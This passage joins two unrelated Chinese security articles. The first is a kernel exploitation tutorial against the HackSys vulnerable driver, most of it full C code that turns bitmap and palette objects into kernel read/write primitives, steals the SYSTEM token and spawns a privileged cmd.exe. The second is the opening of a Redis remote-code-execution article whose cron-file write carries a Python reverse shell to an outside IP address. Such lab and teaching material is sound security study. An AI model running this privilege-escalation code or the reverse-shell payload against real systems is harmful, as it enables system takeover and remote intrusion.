return TRUE;
}
DWORD64 leakBitmap()
{
/*
*[+]Get Client Delta
*/
printf("[+]Start to get Client Delta");
DWORD64 tebBase = (DWORD64)NtCurrentTeb();
UserKernelDesktopHeap = *(PDWORD64)(tebBase + 0x828);
kernelDesktopHeap = *(PDWORD64)(UserKernelDesktopHeap + 0x28);
ulClientDelta = kernelDesktopHeap - UserKernelDesktopHeap;
printf(" => done!\n");
printf("[+]Client Delta address is 0x%p\n", ulClientDelta);
return 0;
}
DWORD64 leakWnd(HWND leakWnd)
{
/*
*[+]Leak Wnd address
*/
PDWORD64 buffer = (PDWORD64)UserKernelDesktopHeap;
DWORD i = 0;
while (1)
{
if (buffer[i] == (DWORD64)leakWnd)
{
printf("[+]Wnd address is 0x%p\n", (DWORD64)(buffer + i));
return (DWORD64)(buffer + i);
}
i++;
}
}
DWORD64 lpszMenuName(HWND hwnd)
{
leakBitmap();
DWORD64 wndaddr = leakWnd(hwnd);
DWORD64 kernelTagCls = *(PDWORD64)(wndaddr + 0xa8);
DWORD64 lpszNamemenuAddr = *(PDWORD64)(kernelTagCls - ulClientDelta + 0x90);
printf("[+]kernel address lpszMenuName at: 0x%p\n", lpszNamemenuAddr);
return lpszNamemenuAddr;
}
HBMP leak()
{
HBMP hbmp = { 0x0 };
DWORD64 curr = 0;
DWORD64 prev = 1;
/*
*[+]Heap spray biu biu biu ~
*/
for (int i = 0; i < 0x700; i++)
{
char buf[0x8f0];
memset(buf, 0x41, 0x8f0);
WNDCLASSEX wndclass = { 0x0 };
wndclass.cbSize = sizeof(wndclass);
wndclass.lpszClassName = TEXT("case");
wndclass.lpszMenuName = buf;
wndclass.lpfnWndProc = DefWindowProc;
int result = RegisterClassExA(&wndclass);
if (!result)
{
printf("RegisterClassEx error: %d\r\n", GetLastError());
}
HWND test = CreateWindowExA(
0,
wndclass.lpszClassName,
TEXT("WORDS"),
0,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
NULL, NULL, NULL, NULL);
curr = lpszMenuName(test);
/*
*[+]If they are equal, we can get a stable address :)
*/
if (curr == prev)
{
DestroyWindow(test);
UnregisterClassA(wndclass.lpszClassName, NULL);
WCHAR* Buff = (WCHAR*)malloc(sizeof(WCHAR) * 0x50 * 2 * 4);
RtlSecureZeroMemory(Buff, 0x50 * 2 * 4);
RtlFillMemory(Buff, 0x50 * 2 * 4, '\x41');
hbmp.hBmp = CreateBitmap(0x701, 2, 1, 8, Buff);
hbmp.kAddr = curr;
hbmp.pvScan0 = (PUCHAR)(curr + 0x50);
printf("hbmp.pvScan0 address ---> %p", hbmp.pvScan0);
return hbmp;
}
DestroyWindow(test);
UnregisterClassA(wndclass.lpszClassName, NULL);
prev = curr;
}
return hbmp;
}
typedef struct _WRITE_WHAT_WHERE {
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
VOID Leak_Trigger()
{
/*
*[+]Step1:Get HMValidateHandle address
*/
BOOL bFound = FindHMValidateHandle();
if (!bFound) {
printf("Failed to locate HmValidateHandle, exiting\n");
return;
}
/*
*[+]Step2:Define window
*/
WNDCLASSEX wnd = { 0x0 };
wnd.cbSize = sizeof(wnd);
wnd.lpszClassName = TEXT("MainWClass");
wnd.lpszMenuName = TEXT("AAAAA");
wnd.lpfnWndProc = DefWindowProc;
int result = RegisterClassEx(&wnd);
if (!result)
{
printf("RegisterClassEx error: %d\r\n", GetLastError());
}
/*
*[+]Step3:Create window
*/
HWND test = CreateWindowEx(
0,
wnd.lpszClassName,
TEXT("WORDS"),
0,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
NULL, NULL, NULL, NULL);
/*
*[+]Step4:Compute address of Bitmap
*/
managerBmp = leak();
workerBmp = leak();
printf("[+]ManagerBmp address leak pvScan0 at: 0x%p\n", managerBmp.pvScan0);
printf("[+]WorkerBmp address leak pvScan0 at: 0x%p\n", workerBmp.pvScan0);
/*
*[+]Step5:You know it => Write What Where
*/
PPayload payload = NULL;
payload = (PPayload)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
sizeof(Payload));
payload->what = (PULONG_PTR)&workerBmp.pvScan0;
payload->where = (PULONG_PTR)managerBmp.pvScan0;
DWORD BytesReturned = 0;
DeviceIoControl(hDevice, 0x0022200B, (LPVOID)payload, sizeof(Payload), NULL, 0, &BytesReturned, NULL);
}
VOID readOOB(DWORD64 whereRead, LPVOID whatValue, int len)
{
SetBitmapBits(managerBmp.hBmp, len, &whereRead);
GetBitmapBits(workerBmp.hBmp, len, whatValue); // read
}
VOID writeOOB(DWORD64 whereWrite, LPVOID whatValue, int len)
{
SetBitmapBits(managerBmp.hBmp, len, &whereWrite);
SetBitmapBits(workerBmp.hBmp, len, &whatValue); // write
}
DWORD64 stealToken()
{
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL)
{
printf("[+]Failed to get NtQuerySystemInformation\n");
return NULL;
}
DWORD len;
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
PSYSTEM_MODULE_INFORMATION moduleInfo = NULL;
moduleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!moduleInfo)
{
printf("[+]Failed to get moduleInfo\n");
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, &len);
LPVOID kernelBase = moduleInfo->Module[0].ImageBase;
LPVOID kernelImage = moduleInfo->Module[0].FullPathName;
printf("[+]kernel base address is at: 0x%p\n", kernelBase);
LPCSTR lpkernelName = (LPCSTR)(moduleInfo->Module[0].FullPathName + moduleInfo->Module[0].OffsetToFileName);
printf("[+]kernel name is: %s\n", lpkernelName);
HMODULE hUserSpacekernel = LoadLibraryExA(lpkernelName, 0, 0);
if (hUserSpacekernel == NULL)
{
VirtualFree(moduleInfo, 0, MEM_RELEASE);
return NULL;
}
FARPROC pUserKernelSymbol = GetProcAddress(hUserSpacekernel, "PsInitialSystemProcess");
if (pUserKernelSymbol == NULL)
{
VirtualFree(moduleInfo, 0, MEM_RELEASE);
return NULL;
}
FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpacekernel + (PUCHAR)kernelBase);
FreeLibrary(hUserSpacekernel);
VirtualFree(moduleInfo, 0, MEM_RELEASE);
LPVOID lpSystemEPROCESS = NULL;
LPVOID lpSysProcID = NULL;
LPVOID lpSystemToken = NULL;
LIST_ENTRY lpNextEntryAddreess;
readOOB((DWORD64)pLiveFunctionAddress, &lpSystemEPROCESS, sizeof(LPVOID));
readOOB((DWORD64)((PUCHAR)lpSystemEPROCESS + 0x2e8), &lpSysProcID, sizeof(LPVOID));
readOOB((DWORD64)((PUCHAR)lpSystemEPROCESS + 0x358), &lpSystemToken, sizeof(LPVOID));
readOOB((DWORD64)((PUCHAR)lpSystemEPROCESS + 0x2f0), &lpNextEntryAddreess, sizeof(LIST_ENTRY));
printf("[+]system process address is: 0x%p\n", lpSystemEPROCESS);
printf("[+]Next Process AT: 0x%p\n", lpNextEntryAddreess.Flink);
printf("[+]system process token value is: 0x%p\n", lpSystemToken);
printf("[+]system process PID is: 0x%p\n", lpSysProcID);
DWORD64 currentProcessID = GetCurrentProcessId();
LPVOID lpNextEPROCESS = NULL;
LPVOID lpCurrentPID = NULL;
LPVOID lpCurrentToken = NULL;
DWORD dwCurrentPID;
do
{
lpNextEPROCESS = (PUCHAR)lpNextEntryAddreess.Flink - 0x2e8;
readOOB((DWORD64)((PUCHAR)lpNextEPROCESS + 0x2e0), &lpCurrentPID, sizeof(LPVOID));
dwCurrentPID = LOWORD(lpCurrentPID);
readOOB((DWORD64)((PUCHAR)lpNextEPROCESS + 0x2e8), &lpNextEntryAddreess, sizeof(LIST_ENTRY));
} while (dwCurrentPID != currentProcessID);
DWORD64 currentTokenAddress = (DWORD64)lpNextEPROCESS + 0x358;
printf("[+]Start to write token");
writeOOB(currentTokenAddress, lpSystemToken, sizeof(LPVOID));
printf(" => done!\n");
}
int main() {
init();
Leak_Trigger();
stealToken();
CreateCmd();
system("pause");
return 0;
}
可以看到最后我们是成功提权了的.
最后总结一下利用过程:
1.通过WNDCLASSEX.lpszMenuName找到将要创建的bitmap对象的pvScan0地址(level up)
2.创建bitmap对象并对应到pvScan0的地址.(level up)
3.用漏洞改掉bitmap对象中pvScan0的值
4.替换Token
## 0x06:RS3(WIN10_X64_1709)下的WWW
嗯,不出所料的,RS2下的利用手段在RS3下被kill掉了.然后k0shl师傅提出了一种新的[利用手段](https://blogs.360.cn/post/save-and-reborn-gdi-data-only-attack-from-win32k-typeisolation-2.html).说实话,看不懂…
然后这里我要讲的是另外一种绕过技术,也是比较通用的技术—使用paltte进行读写.
话不多说,上图
其实这个和bitmap类似,其中第一个红框框代表的是第二个红框框指向的内容的大小,第二个红框框指向的内容可以进行读写.
这里进行读写使用的是SetPaletteEntries函数和GetPaletteEntries函数.
其他的和RS2下的WWW漏洞利用一样,改一下偏移等数据就好.
然后这里我copy的k0shl师傅的代码,发现行不通,像这样
但是k0shl师傅的exe是可以成功提权的.
后来经过分析发现,是没有申请到对应的 lpszMenuName 所导致的.我直接这么说可能难以理解.上图
如图,如果不成功的话,!pool出来的是 Ustx,而且是free状态.然后成功了的话是这样的
!pool出来的是 Gh08,而且是Allocated状态.(那个*打不出来)
然后提一下我是怎么定位到关键数据的.
最开始我是根据输出定位到Worker_Palette的,然后意识到可能是palette出了问题,然后网上查找palette相关的内容,然后我找到了晏子霜师傅的CVE-2018-8453分析,用其中palette相关的内容leak成功.然后打算加入到我的代码中来,结果发现程序一调用CreatePalette函数就崩溃,也不知道为什么会崩溃,最后我尝试用k0shl师傅的代码改size大小,成功了.当然直接在k0shl师傅的exploit里改size大小是会崩溃的.
代码贴贴:
#include<stdio.h>
#include<Windows.h>
#define HACKSYS_EVD_IOCTL_ARBITRARY_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0X802, METHOD_NEITHER, FILE_ANY_ACCESS)
typedef void* (NTAPI* lHMValidateHandle)(HWND h, int type);
typedef struct _WRITE_WHAT_WHERE {
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
PVOID IsMenu_Address = NULL, HMValidateHandle_Address = NULL;
typedef HWND(__fastcall* My_HMValidateHandle)(
HWND Window,
ULONG Number
);
My_HMValidateHandle HMValidateHandle = NULL;
LOGPALETTE* Palette = NULL;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemModuleInformation = 11,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG NumberOfModules;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef struct _HEAD
{
HANDLE h;
DWORD cLockObj;
} HEAD, * PHEAD;
typedef struct _THROBJHEAD
{
HEAD h;
PVOID pti;
} THROBJHEAD, * PTHROBJHEAD;
typedef struct _G_PALETTE
{
HPALETTE _hpalette;
DWORD64 _kobj_palette;
DWORD flag;
} GPALETTE, * PGPALETTE;
typedef struct _THRDESKHEAD
{
THROBJHEAD h;
PVOID rpdesk;
PVOID pSelf; // points to the kernel mode address
} THRDESKHEAD, * PTHRDESKHEAD;
PWRITE_WHAT_WHERE WriteWhatWhere = NULL;
HANDLE hDevice = NULL;
lHMValidateHandle pHmValidateHandle = NULL;
PGPALETTE Worker_Palette;
PGPALETTE Manager_Palette;
DWORD BytesReturned = 0;
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
BOOL init()
{
printf("[+]Start to get HANDLE");
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("Create HEVD Device Success,Handle at: 0x%p\n", hDevice);
return TRUE;
}
BOOL FindHMValidateHandle() {
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (hUser32 == NULL) {
printf("Failed to load user32");
return FALSE;
}
BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu");
if (pIsMenu == NULL) {
printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
return FALSE;
}
unsigned int uiHMValidateHandleOffset = 0;
for (unsigned int i = 0; i < 0x1000; i++) {
BYTE* test = pIsMenu + i;
if (*test == 0xE8) {
uiHMValidateHandleOffset = i + 1;
break;
}
}
if (uiHMValidateHandleOffset == 0) {
printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
return FALSE;
}
unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset);
unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
printf("[+]HMValidateHandle address is : 0x%p\n", pHmValidateHandle);
return TRUE;
}
HPALETTE createPaletteofSize(int size) {
// we alloc a palette which will have the specific size on the paged session pool.
if (size <= 0x90) {
printf("Bad size! can't allocate palette of size < 0x90!");
return 0;
}
int pal_cnt = (size - 0x90) / 4;
int palsize = sizeof(LOGPALETTE) + (static_cast<__int64>(pal_cnt) - 1) * sizeof(PALETTEENTRY);
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palsize);
printf("palsize -->%llX\n", palsize);
printf("lPalette address =======>%p\n", lPalette);
memset(lPalette, 0x66, palsize);
lPalette->palNumEntries = pal_cnt;
printf("lPalette->palNumEntries %llX\n", lPalette->palNumEntries);
lPalette->palVersion = 0x300;
printf("lPalette->palVersion %llX\n", lPalette->palVersion);
//__debugbreak();
return CreatePalette(lPalette);
}
VOID readOOB(HPALETTE worker_palette, HPALETTE manager_palette, DWORD64* target_address, BYTE* data, int size) {
if (!manager_palette || !worker_palette) {
printf("Palettes not initialized yet!");
/*return 0;*/
}
// overflow into worker_palette to set values
SetPaletteEntries(manager_palette, 0, sizeof(PVOID) / sizeof(PALETTEENTRY), (PALETTEENTRY*)&target_address);
// trigger GetPaletteEntries on worker_palette to read the actual data
// return actual amount of bytes read (*4), not amount of palette entries read
//__debugbreak();
GetPaletteEntries(worker_palette, 0, size / sizeof(PALETTEENTRY), (PALETTEENTRY*)data);
}
int writeOOB(HPALETTE worker_palette, HPALETTE manager_palette, UINT64 target_address, BYTE* data, int size) {
if (!manager_palette || !worker_palette) {
printf("Palettes not initialized yet!\n");
return 0;
}
// overflow into worker_palette to set values
SetPaletteEntries(manager_palette, 0, sizeof(PVOID) / sizeof(PALETTEENTRY), (PALETTEENTRY*)&target_address);
// trigger SetPaletteEntries on worker_palette to write the actual data
// return actual amount of bytes written (*4), not amount of palette entries written
return SetPaletteEntries(worker_palette, 0, size / sizeof(PALETTEENTRY), (PALETTEENTRY*)data);
}
PVOID Find_Functions(LPCSTR Dll_Name, LPCSTR F_Name) {
HMODULE Dll_HMODULE = NULL;
PVOID F_Address = NULL;
Dll_HMODULE = LoadLibraryA(Dll_Name);
if (Dll_HMODULE == NULL) {
printf("%s Find Error!\n", Dll_Name);
return NULL;
}
printf("Address(%s):0x%p\n", Dll_Name, Dll_HMODULE);
F_Address = GetProcAddress(Dll_HMODULE, F_Name);
if (F_Address == NULL) {
printf("Function(%s) Find Error!\n", F_Name);
return NULL;
}
printf("Address(%s):0x%p\n", F_Name, F_Address);
return F_Address;
}
PVOID Find_HMValidateHandle(PVOID IsMenu_Address) {
ULONG64 HMV_Adr = 0;
while (1) {
if (*(char*)IsMenu_Address == '\xE8') {
HMV_Adr = *(ULONG*)((ULONG64)IsMenu_Address + 1);
HMV_Adr += (ULONG64)IsMenu_Address + 0x05 - 0x100000000;
return (PVOID)HMV_Adr;
}
IsMenu_Address = (char*)IsMenu_Address + 1;
}
return 0;
}
ULONG64 PEB = NULL, fnDWORD_Address = NULL, To_Where_A_Palette = NULL, ulClientDelta = NULL;
DWORD64 lpszMenuName(HWND hwnd) {
IsMenu_Address = Find_Functions("user32.dll", "IsMenu");
HMValidateHandle_Address = Find_HMValidateHandle(IsMenu_Address);
printf("HMValidateHandle Address(0x%p)\n", HMValidateHandle_Address);
HMValidateHandle = (My_HMValidateHandle)HMValidateHandle_Address;
ULONG64 tagWND = (ULONG64)HMValidateHandle(hwnd, 0x01);
ulClientDelta = (ULONG64)((*(ULONG64*)(tagWND + 0x20)) - (ULONG64)tagWND);
DWORD64 KerneltagCLS = (*(ULONG64*)(tagWND + 0xa8)) - ulClientDelta;
DWORD64 lpszMenuNameA = *(ULONG64*)(KerneltagCLS + 0x98);
printf("lpszMenuNameA_address %llX\n", lpszMenuNameA);
return lpszMenuNameA;
}
PGPALETTE CreatePaletteInHole()
{
printf("aaaaaa\n");
PGPALETTE pgpalette = (PGPALETTE)malloc(sizeof(PGPALETTE));
TCHAR st[0x68];
WNDCLASSEX Class2 = { 0 };
DWORD64 lpszMenuNameB = 0x666;
memset(st, 0x66, sizeof(st));
Class2.lpfnWndProc = DefWindowProc;
Class2.lpszClassName = TEXT("k0shl");
Class2.lpszMenuName = st;
Class2.cbSize = sizeof(WNDCLASSEX);
DWORD dwcount = 0;
for (int i = 0; i < 0x666; i++)
{
int result = RegisterClassEx(&Class2);
if (!result)
{
printf("RegisterClassEx error: %d\n", GetLastError());
exit(-1);
}
//Int_3();
HWND test = CreateWindowEx(
0,
Class2.lpszClassName,//wnd.lpszClassName,
TEXT("WORDS"),
0,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
NULL, NULL, NULL, NULL);
//Int_3();
PTHRDESKHEAD tagWND = (PTHRDESKHEAD)pHmValidateHandle(test, 1);
//Int_3();
DWORD64 KerneltagWND = (DWORD64)(tagWND->pSelf);
DWORD64 UsertagWND = (DWORD64)tagWND;
//Int_3();
DWORD64 ulClientDelta = KerneltagWND - UsertagWND;
DWORD64 KerneltagCLS = *(PDWORD64)(UsertagWND + 0xa8);
DWORD64 lpszMenuNameA = *(PDWORD64)(KerneltagCLS - ulClientDelta + 0x98);
printf("lpszMenuNameA address --->%llX\n", lpszMenuNameA);
if (lpszMenuNameB == lpszMenuNameA)
{
__debugbreak();
DestroyWindow(test);
//createPaletteofSize(0x190);
UnregisterClass(Class2.lpszClassName, NULL);
//Int_3();
__debugbreak();
pgpalette->_hpalette = (HPALETTE)createPaletteofSize(0x100);
printf("pgpalette->hpalette %p\n", pgpalette->_hpalette);
pgpalette->_kobj_palette = lpszMenuNameA;
pgpalette->flag = 1;
printf("success!!!!!\n");
__debugbreak();
return pgpalette;
}
DestroyWindow(test);
//createPaletteofSize(0x190);
UnregisterClass(Class2.lpszClassName, NULL);
lpszMenuNameB = lpszMenuNameA;
printf("lpszMenuNameB_address ===>%llX\n", lpszMenuNameB);
}
return 0;
}
DWORD64 stealToken()
{
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL)
{
printf("[+]Failed to get NtQuerySystemInformation\n");
return NULL;
}
DWORD len;
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
PSYSTEM_MODULE_INFORMATION moduleInfo = NULL;
moduleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!moduleInfo)
{
printf("[+]Failed to get moduleInfo\n");
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, &len);
LPVOID kernelBase = moduleInfo->Module[0].ImageBase;
LPVOID kernelImage = moduleInfo->Module[0].FullPathName;
printf("[+]kernel base address is at: 0x%p\n", kernelBase);
LPCSTR lpkernelName = (LPCSTR)(moduleInfo->Module[0].FullPathName + moduleInfo->Module[0].OffsetToFileName);
printf("[+]kernel name is: %s\n", lpkernelName);
HMODULE hUserSpacekernel = LoadLibraryExA(lpkernelName, 0, 0);
if (hUserSpacekernel == NULL)
{
VirtualFree(moduleInfo, 0, MEM_RELEASE);
return NULL;
}
FARPROC pUserKernelSymbol = GetProcAddress(hUserSpacekernel, "PsInitialSystemProcess");
if (pUserKernelSymbol == NULL)
{
VirtualFree(moduleInfo, 0, MEM_RELEASE);
return NULL;
}
FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpacekernel + (PUCHAR)kernelBase);
FreeLibrary(hUserSpacekernel);
VirtualFree(moduleInfo, 0, MEM_RELEASE);
printf("pLiveFunctionAddress ============>%llX\n", pLiveFunctionAddress);
LPVOID lpSystemEPROCESS = NULL;
LPVOID lpSysProcID = NULL;
LPVOID lpSystemToken = NULL;
LIST_ENTRY lpNextEntryAddreess;
readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)pLiveFunctionAddress, (BYTE*)&lpSystemEPROCESS, sizeof(DWORD64));
//__debugbreak();
readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)((PUCHAR)lpSystemEPROCESS + 0x2e0), (BYTE*)&lpSysProcID, sizeof(DWORD64));
readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)((PUCHAR)lpSystemEPROCESS + 0x358), (BYTE*)&lpSystemToken, sizeof(DWORD64));
readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)((PUCHAR)lpSystemEPROCESS + 0x2f0), (BYTE*)&lpNextEntryAddreess, sizeof(LIST_ENTRY));
printf("[+]system process PID is: 0x%llX \n", lpSysProcID);
printf("[+]system process address is: 0x%p\n", lpSystemEPROCESS);
printf("[+]Next Process AT: 0x%p\n", lpNextEntryAddreess.Flink);
printf("[+]system process token value is: 0x%p\n", lpSystemToken);
DWORD64 currentProcessID = GetCurrentProcessId();
printf("current Process id is %llX", currentProcessID);
//DWORD64 currentProcessID = GetCurrentProcessId();
LPVOID lpNextEPROCESS = NULL;
LPVOID lpCurrentPID = NULL;
LPVOID lpCurrentToken = NULL;
DWORD dwCurrentPID;
do
{
lpNextEPROCESS = (PUCHAR)lpNextEntryAddreess.Flink - 0x2e8;
readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)((PUCHAR)lpNextEPROCESS + 0x2e0), (BYTE*)&lpCurrentPID, sizeof(DWORD64));
dwCurrentPID = LOWORD(lpCurrentPID);
printf("dwCurrentPID %llX\n", dwCurrentPID);
readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)((PUCHAR)lpNextEPROCESS + 0x2e8), (BYTE*)&lpNextEntryAddreess, sizeof(LIST_ENTRY));
} while (dwCurrentPID != currentProcessID);
DWORD64 currentTokenAddress = (DWORD64)lpNextEPROCESS + 0x358;
printf("[+]Start to write token");
writeOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, currentTokenAddress, (BYTE*)&lpSystemToken, sizeof(DWORD64));
printf(" ====> done! \n");
}
int main() {
init();//Load HEVD Driver and init exploit attack function
BOOL bFound = FindHMValidateHandle();
if (!bFound) {
printf("Failed to locate HmValidateHandle, exiting\n");
return 0;
}
printf("[+]Found location of HMValidateHandle in user32.dll\n");
Manager_Palette = CreatePaletteInHole();
printf("create manager palette success!!!\n");
if (!Manager_Palette)
{
printf("Make Manager Palette failure...\n");
return 0;
}
//Int_3();
printf("[+]Manager Palette HPALETTE: 0x%p, Kernel Address: 0x%llx\n", (PVOID)Manager_Palette->_hpalette, Manager_Palette->_kobj_palette);
__debugbreak();
Worker_Palette = CreatePaletteInHole();
if (!Worker_Palette)
{
printf("Make Worker Palette failure...\n");
return 0;
}
//Int_3();
printf("Worker Palette HPALETTE: 0x%p, Kernel Address: 0x%llx\n", (PVOID)Worker_Palette->_hpalette, Worker_Palette->_kobj_palette);
WriteWhatWhere = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
sizeof(WRITE_WHAT_WHERE));
if (!WriteWhatWhere) {
printf("Failed To Allocate Memory: 0x%X\n", GetLastError());
exit(-1);
}
printf("Memory Allocated: 0x%p\n", WriteWhatWhere);
DWORD64 pFirstColorOffset = 0x78;
DWORD64 Manager_pFirstColor = Manager_Palette->_kobj_palette + pFirstColorOffset;
DWORD64 Worker_pFirstColor = Worker_Palette->_kobj_palette + pFirstColorOffset;
printf("Overwrite Manager Palette pFirstColor: 0x%p\n", Manager_pFirstColor);
printf("value is Worker Palette pFirstColor: 0x%p\n", Worker_pFirstColor);
WriteWhatWhere->What = (PULONG_PTR)&Worker_pFirstColor;
WriteWhatWhere->Where = (PULONG_PTR)Manager_pFirstColor;
printf("WriteWhatWhere->What %llX", WriteWhatWhere->What);
printf("WriteWhatWhere->Where %llX", WriteWhatWhere->Where);
DeviceIoControl(hDevice, 0x0022200B, (LPVOID)WriteWhatWhere, sizeof(WriteWhatWhere), NULL, 0, &BytesReturned, NULL);
stealToken();
CreateCmd();
system("pause");
return 0;
}
最后可以看到提权成功:
## 0x07:总结
首先一点就是我在学习过程中经常碰到一些陌生的名词,让人很困扰.所以我在这篇文章里尽量少提相关的名词,并把它们关联起来.还有一点就是上一篇文章还是不够严谨,出现了一些错误,然后就是感到抱歉,过了这么久才回复指出我错误的师傅,最后,
**感谢指出我错误的师傅**.
## 0x08:参考
代码参考
<https://50u1w4y.github.io/site/HEVD/bitmap/>
<https://blog.ycdxsb.cn/ec47a9ad.html>
<https://github.com/ThunderJie/Write-What-Where>
<https://github.com/k0keoyo/HEVD-Arbitrary-Overwrite-Exploit-Win10-rs3>
<https://www.whsgwl.net/blog/CVE-2018-8453_1.html#0x00>
<https://ti.qianxin.com/blog/articles/cve-2018-8453-win32k-elevation-of-privilege-vulnerability-targeting-the-middle-east-en/>
理论参考
<https://paper.seebug.org/?keyword=Windows+Kernel+Exploit+Part+>
<https://thunderjie.github.io/2019/08/19/www%E6%BC%8F%E6%B4%9E%E4%BB%8Ewin7-win10/#more>
extension://bfdogplmndidlpjfhoijckpakkdjkkil/pdf/viewer.html?file=https%3A%2F%2Flabs.bluefrostsecurity.de%2Ffiles%2FAbusing_GDI_for_ring0_exploit_primitives_Evolution_Slides.pdf
<https://www.fuzzysecurity.com/tutorials/expDev/21.html>
<https://www.fuzzysecurity.com/tutorials/expDev/22.html>
<https://labs.f-secure.com/archive/a-tale-of-bitmaps/>
extension://bfdogplmndidlpjfhoijckpakkdjkkil/pdf/viewer.html?file=https%3A%2F%2Fcensus-labs.com%2Fmedia%2Fwindows_10_rs2_rs3_exploitation_primitives.pdf
<https://www.coresecurity.com/core-labs/articles/abusing-gdi-for-ring0-exploit-primitives>
<https://sensepost.com/blog/2017/abusing-gdi-objects-for-ring0-primitives-revolution/>
<https://www.offensivecon.org/speakers/2018/nick-sampanis.html>
<https://blogs.360.cn/post/save-and-reborn-gdi-data-only-attack-from-win32k-typeisolation-2.html> | 社区文章 |
**作者：LoRexxar'@知道创宇404实验室**
**时间：2019年7月9日**
**英文版本：<https://paper.seebug.org/975/>**
在2019年7月7日结束的WCTF2019 Final上，LC/BC的成员Pavel
Toporkov在分享会上介绍了一种关于redis新版本的RCE利用方式，比起以前的利用方式来说，这种利用方式更为通用，危害也更大，下面就让我们从以前的redis
RCE利用方式出发，一起聊聊关于redis的利用问题。
<https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf>
# 通过写入文件 GetShell
未授权的redis会导致GetShell，可以说已经是众所周知的了。
127.0.0.1:6379> config set dir /var/spool/cron/crontabs
OK
127.0.0.1:6379> config set dbfilename root
OK
127.0.0.1:6379> get 1
"\n* * * * * /usr/bin/python -c 'import socket,subprocess,os,sys;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"115.28.78.16\",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n"
127.0.0.1:6379> save
OK
